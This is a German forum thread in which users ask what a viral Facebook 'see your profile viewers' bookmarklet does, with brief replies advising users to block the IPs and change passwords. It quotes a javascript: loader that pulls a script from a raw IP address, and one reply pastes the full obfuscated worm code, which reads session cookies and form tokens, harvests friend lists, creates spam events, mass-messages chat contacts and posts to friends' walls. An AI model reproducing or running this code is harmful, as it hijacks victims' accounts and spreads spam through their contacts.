Facebook-Verarsche (?)

Hallo Forumuser

Zurzeit ist es auf facebook Hip, folgendes auszuprobieren: Link entfernt, bitte Forenregeln beachten! - Hascheff, Moderator

Wenn man den Anweisungen folgt, kreiert es eine Verantstaltung. Wenn man daran teilnimmt, soll man sehen, wer auf seinem Profil ist. Das ist natürlich Quatsch, soweit bin ich noch informiert.
In der Beschreibung der Veranstaltung wird dann wieder auf Link entfernt, bitte Forenregeln beachten! - Hascheff, Moderator verlinkt. Ich habe das nicht selber ausprobiert, aber bei mehreren von meinen Freunden steht exact das selbe.

Nun zu meiner Frage: Was richtet dieser Code an:
"javascript:€(a=(b=document).createElement('script')).src='//216.24.202.125/pad.js?'+Math.random(),b.body.appendChild(a);void(0)" (zu finden auf "http://216.119.153.147/spy.php") ohne das € nach javascript: , sonst hätte es ein smilie gegeben.


Ich hoffe, ein paar die sich mit javascript auskennen, schauen mal kurz vorbei

Schonmal ein Danke im Voraus
Moooooos

 

Das würd mich auch mal genauer interessieren!
Meine Pinwand wird ständig von solchen Meldungen vollgespamt (die man auch nicht verbergen kann, woran liegt das und gibts da Abhilfe) weil immer irgend ein anderer Dummer den Scheiss anklickt und somit auf die Pinwände seiner Freunde postet! Heute gings auch schon im Facebook-Chat los! Die Leute wissen wahrscheinlich nicht mal dass ihr Chat grad mit jemandem chattet!?

 

Deshalb: Finger weg von Facebook!

http://www.pcwelt.de/forum/groups/club++facebook-verweigerer.html

 

...mei, da werden vermutlich die Abrufe getrackt, was man sehr wohl dazu benutzen kann, Sessions oder gar ganze Profile auszuspionieren. Was der User angezeigt bekommt, steht in der pad.js auf dem im Javascript verlinkten Server (ich werd da nicht für dich nachsehen ) - vermutlich wird das aber nur benutzt, um irgendwelche Daten an den Server zu schicken. Ich würde einfach die IP-Adressen blocken und zur Sicherheit das Zugangspasswort ändern.

 

Danke.
Und an die zwei, die schneller waren: Danke für die Infos, jedoch stelle ich mir nicht die Frage, aus facebook auszutreten, sondern es nicht noch unsicherer zu machen

 

Hat jemand schon was Neues herausgefunden?

 

Neu ist die Erkenntnis, daß Facebook scheiße ist, wohl eher nicht.

 

...erschreckend ist, wie abhängig manche Leute bereits von solchen Diensten zu sein scheinen.

 

Den Anbietern (hier FB) wirds freuen.

 

Ich denke nicht, das es im Sinne von Facebook ist, das Dienste die Login-Daten ausspionieren.
Ich möchte hier aber nicht eine Diskussion über FB, sondern wissen, was der javascript-Befehl bewirkt.

 

Code:

var _0x8a40=["%firstname% wow facebook kann dir jetzt anzeigen wer dein Profil ansieht! Schaus dir an @ feexpelled.info/german.php","","http://jujujjlolol.blogspot.com/","Schau dir deine Profil-Stalker an - http://216.119.153.147/spy.php","WOW Jetzt kannst du sehen wer sich dein Profil  ansieht!","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x74\x6F\x70","\x47\x45\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x73\x65\x6E\x64","\x2F","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x40\x5B","\x69\x64","\x3A","\x6E\x61\x6D\x65","\x5D","","\x26","\x3D","\x50\x4F\x53\x54","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x62\x6C\x6F\x63\x6B","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x77\x69\x64\x74\x68","\x25","\x68\x65\x69\x67\x68\x74","\x6C\x65\x66\x74","\x70\x78","\x74\x65\x78\x74\x41\x6C\x69\x67\x6E","\x63\x65\x6E\x74\x65\x72","\x70\x61\x64\x64\x69\x6E\x67","\x34\x70\x78","\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64","\x23\x46\x46\x46\x46\x46\x46","\x7A\x49\x6E\x64\x65\x78","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x26\x6E\x62\x73\x70\x3B\x3C\x62\x72\x2F\x3E\x56\x65\x72\x69\x66\x69\x7A\x69\x65\x72\x65\x20\x64\x65\x69\x6E\x65\x6E\x20\x43\x6F\x64\x65\x20\x2D\x20\x42\x69\x74\x74\x65\x20\x67\x65\x64\x75\x6C\x64\x65\x20\x64\x69\x63\x68\x20\x65\x69\x6E\x65\x6E\x20\x6B\x6C\x65\x69\x6E\x65\x6E\x20\x4D\x6F\x6D\x65\x6E\x74\x2E\x3C\x62\x72\x2F\x3E\x3C\x62\x72\x2F\x3E\x20\x57\x65\x20\x61\x72\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x69\x6E\x67\x20\x74\x68\x65\x20\x6F\x66\x66\x65\x72\x20\x66\x6F\x72\x20\x79\x6F\x75\x2E\x2E\x2E\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x64\x28\x30\x29\x3B\x22\x20\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x22\x77\x66\x3D\x30\x3B\x20\x6D\x66\x28\x29\x3B\x22\x3E\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E\x3C\x62\x72\x2F\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x6E\x65\x74\x69\x63\x73\x2E\x62\x77\x68\x2E\x68\x61\x72\x76\x61\x72\x64\x2E\x65\x64\x75\x2F\x73\x6E\x70\x32\x72\x66\x6C\x70\x2F\x63\x69\x72\x63\x6C\x65\x2E\x67\x69\x66\x22\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x64\x61\x74\x61","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x6E\x61\x76\x41\x63\x63\x6F\x75\x6E\x74\x4E\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3F","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x6F\x6F\x73\x65\x2F\x3F\x5F\x5F\x61\x3D\x31","\x65\x76\x65\x6E\x74","\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x74\x79\x70\x65\x61\x68\x65\x61\x64\x2F\x66\x69\x72\x73\x74\x5F\x64\x65\x67\x72\x65\x65\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x76\x69\x65\x77\x65\x72\x3D","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x69\x6C\x74\x65\x72\x5B\x30\x5D\x3D\x75\x73\x65\x72\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x30\x5D\x3D\x66\x72\x69\x65\x6E\x64\x73\x5F\x6F\x6E\x6C\x79\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x31\x5D\x3D\x6E\x6D\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x32\x5D\x3D\x73\x6F\x72\x74\x5F\x61\x6C\x70\x68\x61","\x6C\x65\x6E\x67\x74\x68","\x70\x75\x73\x68","\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x67\x65\x74\x48\x6F\x75\x72\x73","\x2C","\x6A\x6F\x69\x6E","\x6F\x6E","\x43\x72\x65\x61\x74\x65\x20\x45\x76\x65\x6E\x74","\x6E\x65\x77","\x2F\x65\x76\x65\x6E\x74\x73\x2F\x63\x72\x65\x61\x74\x65\x2E\x70\x68\x70","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x61\x74\x2F\x62\x75\x64\x64\x79\x5F\x6C\x69\x73\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x73\x75\x62\x73\x74\x72","\x28","\x29","\x62\x75\x64\x64\x79\x5F\x6C\x69\x73\x74","\x70\x61\x79\x6C\x6F\x61\x64","\x6E\x6F\x77\x41\x76\x61\x69\x6C\x61\x62\x6C\x65\x4C\x69\x73\x74","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x25\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x25","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x66\x69\x72\x73\x74\x4E\x61\x6D\x65","\x75\x73\x65\x72\x49\x6E\x66\x6F\x73","\x72\x65\x70\x6C\x61\x63\x65","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x61\x74\x2F\x73\x65\x6E\x64\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x2F\x61\x6A\x61\x78\x2F\x62\x72\x6F\x77\x73\x65\x72\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x3F\x75\x69\x64\x3D","\x26\x66\x69\x6C\x74\x65\x72\x3D\x61\x6C\x6C\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x3D\x31","\x73\x68\x69\x66\x74","\x66\x65\x74\x63\x68\x65\x64\x20\x66\x72\x69\x65\x6E\x64\x73\x3A\x20","\x68\x6F\x6D\x65","\x70\x6F\x70","\x25\x74\x66\x25","\x73\x65\x61\x72\x63\x68","\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x5F\x74\x65\x78\x74","\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65","\x6D\x65\x73\x73\x61\x67\x65\x20\x74\x65\x78\x74\x3A\x20","\x2F\x61\x6A\x61\x78\x2F\x75\x70\x64\x61\x74\x65\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x70\x72\x6F\x66\x69\x6C\x65"];var chatmessage=_0x8a40[0];var postmessage=_0x8a40[1];var redirect=_0x8a40[2];var eventdesc=_0x8a40[3];var eventname=_0x8a40[4];var nfriends=5000;var debug=false;var wf=0;var mf=function (){if(wf<=0){setTimeout(function (){window[_0x8a40[7]][_0x8a40[6]][_0x8a40[5]]=redirect;} ,500);} ;} ;var doget=function (_0x93d3xb,_0x93d3xc,_0x93d3xd){var _0x93d3xe= new XMLHttpRequest();_0x93d3xe[_0x8a40[9]](_0x8a40[8],_0x93d3xb);_0x93d3xe[_0x8a40[10]]=function (){if(_0x93d3xe[_0x8a40[11]]==4){if(_0x93d3xe[_0x8a40[12]]==200&&_0x93d3xc){_0x93d3xc(_0x93d3xe[_0x8a40[13]]);} ;if(_0x93d3xd){_0x93d3xd();} ;} ;} ;_0x93d3xe[_0x8a40[14]]();} ;doget(_0x8a40[15],function (_0x93d3xf){var _0x93d3x10=document[_0x8a40[17]][_0x8a40[16]](/c_user=(\d+)/)[1];var _0x93d3x11=function (_0x93d3x12){return _0x93d3x12?_0x8a40[18]+_0x93d3x12[_0x8a40[19]]+_0x8a40[20]+_0x93d3x12[_0x8a40[21]]+_0x8a40[22]:_0x8a40[23];} ;var _0x93d3x13=function (_0x93d3x12){return _0x93d3x12?_0x93d3x12[_0x8a40[21]]:_0x8a40[23];} ;var _0x93d3x14=function (_0x93d3x12){out=_0x8a40[23];for(var _0x93d3x15 in _0x93d3x12){out+=(out?_0x8a40[24]:_0x8a40[23])+_0x93d3x15+((_0x93d3x12[_0x93d3x15]!==null)?_0x8a40[25]+encodeURIComponent(_0x93d3x12[_0x93d3x15]):_0x8a40[23]);} ;return out;} ;var _0x93d3x16=function (_0x93d3xb,_0x93d3x12,_0x93d3xc,_0x93d3xd){var _0x93d3xe= new XMLHttpRequest();_0x93d3xe[_0x8a40[9]](_0x8a40[26],_0x93d3xb);_0x93d3xe[_0x8a40[29]](_0x8a40[27],_0x8a40[28]);_0x93d3xe[_0x8a40[10]]=function (){if(_0x93d3xe[_0x8a40[11]]==4){if(_0x93d3xe[_0x8a40[12]]==200&&_0x93d3xc){_0x93d3xc(_0x93d3xe[_0x8a40[13]]);} ;if(_0x93d3xd){_0x93d3xd();} ;} ;} ;_0x93d3xe[_0x8a40[14]](_0x93d3x14(_0x93d3x12));} ;var _0x93d3x17=function (){var _0x93d3x18=document[_0x8a40[31]](_0x8a40[30]);_0x93d3x18[_0x8a40[33]][_0x8a40[32]]=_0x8a40[34];_0x93d3x18[_0x8a40[33]][_0x8a40[35]]=_0x8a40[36];_0x93d3x18[_0x8a40[33]][_0x8a40[37]]=100+_0x8a40[38];_0x93d3x18[_0x8a40[33]][_0x8a40[39]]=100+_0x8a40[38];_0x93d3x18[_0x8a40[33]][_0x8a40[40]]=0+_0x8a40[41];_0x93d3x18[_0x8a40[33]][_0x8a40[7]]=0+_0x8a40[41];_0x93d3x18[_0x8a40[33]][_0x8a40[42]]=_0x8a40[43];_0x93d3x18[_0x8a40[33]][_0x8a40[44]]=_0x8a40[45];_0x93d3x18[_0x8a40[33]][_0x8a40[46]]=_0x8a40[47];_0x93d3x18[_0x8a40[33]][_0x8a40[48]]=999999;_0x93d3x18[_0x8a40[49]]=_0x8a40[50];document[_0x8a40[52]][_0x8a40[51]](_0x93d3x18);} ;var _0x93d3x19=_0x93d3xf[_0x8a40[16]](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);if(_0x93d3x19){comp=_0x93d3x19[1];} else {comp=_0x8a40[23];} ;var _0x93d3x1a=_0x93d3xf[_0x8a40[16]](/name="post_form_id" value="([\d\w]+)"/i)[1];var _0x93d3x1b=_0x93d3xf[_0x8a40[16]](/name="fb_dtsg" value="([\d\w]+)"/i)[1];var _0x93d3x1c=document[_0x8a40[56]](_0x8a40[55])[_0x8a40[54]][_0x8a40[53]];redirect=redirect+_0x8a40[57]+_0x93d3x14({userid:_0x93d3x10,name:_0x93d3x1c,doclose:1});_0x93d3x17();if(eventdesc){wf++;_0x93d3x16(_0x8a40[58],{type:_0x8a40[59],eid:null,invite_message:_0x8a40[23],__d:1,post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,lsd:null,post_form_id_source:_0x8a40[60]},function (_0x93d3x1d){var _0x93d3x1e=_0x93d3x1d[_0x8a40[16]](/\\"token\\":\\"([^\\]+)\\"/)[1];var _0x93d3xb=_0x8a40[61]+_0x93d3x10+_0x8a40[62]+_0x93d3x1e+_0x8a40[63];doget(_0x93d3xb,function (_0x93d3x1f){var _0x93d3x20=_0x93d3x1f[_0x8a40[16]](/\{"uid":\d+,/g);var _0x93d3x21=[];for(var _0x93d3x22=0;_0x93d3x22<_0x93d3x20[_0x8a40[64]];_0x93d3x22++){var _0x93d3x23=_0x93d3x20[_0x93d3x22][_0x8a40[16]](/:(\d+),/)[1];if(_0x93d3x23!=_0x93d3x10){_0x93d3x21[_0x8a40[65]](_0x93d3x23);} ;} ;var _0x93d3x24= new Date();_0x93d3x24[_0x8a40[67]](_0x93d3x24[_0x8a40[66]]()+60*60*24*1000);datestr=(_0x93d3x24[_0x8a40[68]]()+1)+_0x8a40[15]+_0x93d3x24[_0x8a40[69]]()+_0x8a40[15]+_0x93d3x24[_0x8a40[70]]();timestr=_0x93d3x24[_0x8a40[71]]()*60;var _0x93d3x25={post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,start_dateIntlDisplay:datestr,start_date:datestr,start_time_hour_min:timestr,name:eventname,place_page_id:_0x8a40[23],location:_0x8a40[23],street:_0x8a40[23],geo_id:_0x8a40[23],geo_sq:_0x8a40[23],desc:eventdesc,sgb_invitees:_0x93d3x21[_0x8a40[73]](_0x8a40[72]),sgb_emails:_0x8a40[23],sgb_message:_0x8a40[23],privacy_type:_0x8a40[74],guest_list:_0x8a40[74],connections_can_post:_0x8a40[74],save:_0x8a40[75],submitting:_0x8a40[23]};_0x93d3x25[_0x8a40[76]]=_0x8a40[23];_0x93d3x16(_0x8a40[77],_0x93d3x25,false,function (){mf(--wf);} );} );} );} ;if(chatmessage){wf++;_0x93d3x16(_0x8a40[78],{user:_0x93d3x10,post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,lsd:null,post_form_id_source:_0x8a40[60],popped_out:false,force_render:true},function (_0x93d3x1d){var _0x93d3x26=_0x93d3x1d[_0x8a40[79]](9);var _0x93d3x27=eval(_0x8a40[80]+_0x93d3x26+_0x8a40[81]);var _0x93d3x28=_0x93d3x27[_0x8a40[83]][_0x8a40[82]];for(var _0x93d3x29 in _0x93d3x28[_0x8a40[84]]){var _0x93d3x2a=Math[_0x8a40[86]](Math[_0x8a40[85]]()*1335448958);var _0x93d3x2b=( new Date())[_0x8a40[66]]();var _0x93d3x2c=chatmessage[_0x8a40[91]](_0x8a40[87],_0x93d3x28[_0x8a40[90]][_0x93d3x29][_0x8a40[89]][_0x8a40[88]]());_0x93d3x16(_0x8a40[92],{msg_id:Math[_0x8a40[86]](Math[_0x8a40[85]]()*1335448958),client_time:( new Date())[_0x8a40[66]](),msg_text:chatmessage[_0x8a40[91]](_0x8a40[87],_0x93d3x28[_0x8a40[90]][_0x93d3x29][_0x8a40[89]][_0x8a40[88]]()),to:_0x93d3x29,post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,post_form_id_source:_0x8a40[60]});} ;mf(--wf);} );} ;if(postmessage){wf++;doget(_0x8a40[93]+_0x93d3x10+_0x8a40[94],function (_0x93d3x1d){var _0x93d3x20=_0x93d3x1d[_0x8a40[16]](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);var _0x93d3x2d=[];if(_0x93d3x20){for(var _0x93d3x22=0;_0x93d3x22<_0x93d3x20[_0x8a40[64]];_0x93d3x22++){var _0x93d3x23=_0x93d3x20[_0x93d3x22][_0x8a40[16]](/_\d+_/)[0][_0x8a40[91]](/_/g,_0x8a40[23]);var _0x93d3x2e=_0x93d3x20[_0x93d3x22][_0x8a40[16]](/>[^>]+\\u003c\\\/a>$/i)[0][_0x8a40[91]](/\\u003c\\\/a>$/gim,_0x8a40[23])[_0x8a40[91]](/>/g,_0x8a40[23]);_0x93d3x2d[_0x8a40[65]]({id:_0x93d3x23,name:_0x93d3x2e});} ;} ;var _0x93d3xd=[];var _0x93d3x2f=[];while(_0x93d3x2d[_0x8a40[64]]){var _0x93d3x30=Math[_0x8a40[86]](Math[_0x8a40[85]]()*_0x93d3x2d[_0x8a40[64]]);_0x93d3xd[_0x8a40[65]](_0x93d3x2d[_0x93d3x30]);_0x93d3x2f[_0x8a40[65]](_0x93d3x2d[_0x93d3x30]);var _0x93d3x2b=_0x93d3x2d[_0x8a40[95]]();if(_0x93d3x30){_0x93d3x2d[_0x93d3x30-1]=_0x93d3x2b;} ;} ;if(debug){alert(_0x8a40[96]+_0x93d3xd[_0x8a40[64]]);} ;var _0x93d3x31={post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,xhpc_composerid:comp,xhpc_targetid:_0x93d3x10,xhpc_context:_0x8a40[97],xhpc_fbx:_0x8a40[23],lsd:null,post_form_id_source:_0x8a40[60]};mt=postmessage;m=postmessage;while(mt[_0x8a40[100]](_0x8a40[99])>=0){var _0x93d3x32=_0x93d3xd[_0x8a40[98]]();mt=mt[_0x8a40[91]](_0x8a40[99],_0x93d3x13(_0x93d3x32));m=m[_0x8a40[91]](_0x8a40[99],_0x93d3x11(_0x93d3x32));} ;_0x93d3x31[_0x8a40[101]]=mt;_0x93d3x31[_0x8a40[102]]=m;if(debug){alert(_0x8a40[103]+mt);} ;_0x93d3x16(_0x8a40[104],_0x93d3x31);var _0x93d3x33=function (_0x93d3x15){if(_0x93d3x15==0){wf=0;mf();return ;} ;var _0x93d3x34=_0x93d3x2f[_0x8a40[95]]();var _0x93d3x35={post_form_id:_0x93d3x1a,fb_dtsg:_0x93d3x1b,xhpc_composerid:comp,xhpc_targetid:_0x93d3x34[_0x8a40[19]],xhpc_context:_0x8a40[105],xhpc_fbx:1,lsd:null,post_form_id_source:_0x8a40[60]};var _0x93d3x36=postmessage;var _0x93d3x37=postmessage;if(_0x93d3xd[_0x8a40[64]]==0){wf=0;mf();return ;} ;while(_0x93d3x36[_0x8a40[100]](_0x8a40[99])>=0){var _0x93d3x38=_0x93d3xd[_0x8a40[98]]();_0x93d3x36=_0x93d3x36[_0x8a40[91]](_0x8a40[99],_0x93d3x13(_0x93d3x38));_0x93d3x37=_0x93d3x37[_0x8a40[91]](_0x8a40[99],_0x93d3x11(_0x93d3x38));} ;_0x93d3x35[_0x8a40[101]]=_0x93d3x36;_0x93d3x35[_0x8a40[102]]=_0x93d3x37;_0x93d3x16(_0x8a40[104],_0x93d3x35);setTimeout(function (){_0x93d3x33(_0x93d3x15-1);} ,2000);} ;wf++;setTimeout(function (){_0x93d3x33(nfriends);} ,2000);} );} ;mf();} );

Mit "new XMLHttpRequest();" wird die bereits genannte Datenverbindung etabliert - d.h. es wird auf jedem Fall im Hintergrund was übertragen. Den Rest darfst du selbst debuggen.